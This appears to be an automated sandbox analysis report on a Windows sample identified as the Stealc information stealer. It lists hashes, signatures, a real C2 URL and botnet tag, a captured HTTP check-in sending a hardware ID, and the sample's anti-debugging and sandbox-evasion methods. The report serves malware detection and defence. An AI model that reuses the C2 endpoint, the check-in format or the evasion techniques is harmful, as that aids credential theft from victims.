Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1523789
MD5:	44397c793b2976c5571c32b11842e395
SHA1:	d268ccdfb8eceb1f3ed0ccbb05f31b759528c0b7
SHA256:	004cb0e8c07cc1b3f0613d1148d353c359ceffb8e2b27da445ed0eb11456b282
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7492 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 44397C793B2976C5571C32B11842E395)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1658803350.0000000004C20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7492	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7492	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.380000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-02T03:10:59.743753+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.4	49730	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.380000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.37/e2b1563c6670f193.phpn	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/ws	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/G	Virustotal: Detection: 16%	Perma Link
Source: http://185.215.113.37/e2b1563c6670f193.phpG	Virustotal: Detection: 16%	Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038C820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_0038C820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00387240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00387240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00389AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00389AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00389B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00389B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00398EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00398EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003938B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_003938B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00394910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00394910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0038DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0038E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0038ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00394570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00394570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0038DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0038BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0038F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0038F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00393EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00393EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_003816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_003816D0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 34 44 42 35 34 43 38 38 37 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 2d 2d 0d 0a Data Ascii: ------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="hwid"84DB54C887473625698399------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="build"doma------KJJJKFIIIJJJECAAEHDB--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00384880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00384880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJKFIIIJJJECAAEHDBHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 34 44 42 35 34 43 38 38 37 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 4a 45 43 41 41 45 48 44 42 2d 2d 0d 0a Data Ascii: ------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="hwid"84DB54C887473625698399------KJJJKFIIIJJJECAAEHDBContent-Disposition: form-data; name="build"doma------KJJJKFIIIJJJECAAEHDB--

Source: file.exe, 00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/.9
Source: file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/G
Source: file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php%U
Source: file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php9U
Source: file.exe, 00000000.00000002.1701295497.0000000000E96000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpG
Source: file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpn
Source: file.exe, 00000000.00000002.1701295497.0000000000E77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1701295497.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37O

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008138FB	0_2_008138FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C3892	0_2_007C3892
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00743954	0_2_00743954
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0074A922	0_2_0074A922
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067C9BC	0_2_0067C9BC
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0074C185	0_2_0074C185
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0075134A	0_2_0075134A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00748B29	0_2_00748B29
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00745433	0_2_00745433
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0074DC9C	0_2_0074DC9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006F4D7C	0_2_006F4D7C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0082E54B	0_2_0082E54B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0069FE5B	0_2_0069FE5B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00741EC7	0_2_00741EC7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0067AF0B	0_2_0067AF0B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0063FFA5	0_2_0063FFA5

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 003845C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: xspzzdod ZLIB complexity 0.99486077813708

Source: file.exe, 00000000.00000003.1658803350.0000000004C20000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00399600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00399600

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00393720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00393720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\FWO3COK1.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1878016 > 1048576

Source: file.exe

Static PE information: Raw size of xspzzdod is bigger than: 0x100000 < 0x1a4600

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.380000.0.unpack :EW;.rsrc :W;.idata :W; :EW;xspzzdod:EW;ngzkmgsa:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;xspzzdod:EW;ngzkmgsa:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00399860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00399860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cef4e should be: 0x1d781a

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: xspzzdod
Source: file.exe	Static PE information: section name: ngzkmgsa
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C807E push 20E1ED9Ah; mov dword ptr [esp], ebp	0_2_007C8092
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0078A872 push edi; mov dword ptr [esp], eax	0_2_0078A8B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0039B035 push ecx; ret	0_2_0039B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007D7068 push edx; mov dword ptr [esp], edi	0_2_007D7088
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0076702C push edx; mov dword ptr [esp], eax	0_2_00767030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008008FB push 7C072055h; mov dword ptr [esp], eax	0_2_0080092B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00818007 push ebx; mov dword ptr [esp], eax	0_2_00818027
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00818007 push esi; mov dword ptr [esp], ebx	0_2_0081804B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00818007 push 2885C1B0h; mov dword ptr [esp], edx	0_2_0081808C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00818007 push ebx; mov dword ptr [esp], edx	0_2_0081809E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007EB0DB push edx; mov dword ptr [esp], ebx	0_2_007EB106
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007EB0DB push 2714F75Fh; mov dword ptr [esp], ecx	0_2_007EB129
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007EB0DB push 546BD651h; mov dword ptr [esp], eax	0_2_007EB133
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007B58B1 push 6CF79A2Ch; mov dword ptr [esp], esi	0_2_007B58C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00811852 push edi; mov dword ptr [esp], 589A4EF5h	0_2_00811896
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00811852 push 62948F00h; mov dword ptr [esp], esi	0_2_008118D3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF8AC push ebp; mov dword ptr [esp], 2FB32BF1h	0_2_007BF8E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007BF8AC push 02BC5D5Ch; mov dword ptr [esp], edx	0_2_007BF979
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0077C091 push 321B18F0h; mov dword ptr [esp], ecx	0_2_0077C099
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C3892 push eax; mov dword ptr [esp], 2BCF9900h	0_2_007C38B2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007C3892 push 7C763C73h; mov dword ptr [esp], ebp	0_2_007C38EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00783979 push 110D8F5Eh; mov dword ptr [esp], ebp	0_2_00783A23
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00783979 push 29D6C462h; mov dword ptr [esp], ecx	0_2_00783A4F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00783979 push ecx; mov dword ptr [esp], edi	0_2_00783A58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00743954 push ebp; mov dword ptr [esp], eax	0_2_0074399B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00743954 push edx; mov dword ptr [esp], ebx	0_2_007439C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00743954 push 4BA50807h; mov dword ptr [esp], ebp	0_2_00743A0B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00743954 push 16A98A62h; mov dword ptr [esp], ebp	0_2_00743A59
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00743954 push ebp; mov dword ptr [esp], ecx	0_2_00743AC2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00743954 push edi; mov dword ptr [esp], 5EEF0D9Ch	0_2_00743B50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00743954 push 7A8F7AD1h; mov dword ptr [esp], eax	0_2_00743B79

Source: file.exe

Static PE information: section name: xspzzdod entropy: 7.952856014840197

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00399860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13210

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75A89B second address: 75A8D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F701CDA8A66h 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F701CDA8A6Ch 0x00000016 jmp 00007F701CDA8A79h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759C1C second address: 759C22 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759EBC second address: 759EC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759EC2 second address: 759EEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 je 00007F701CDC837Ch 0x0000000f jmp 00007F701CDC8382h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 759EEF second address: 759EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
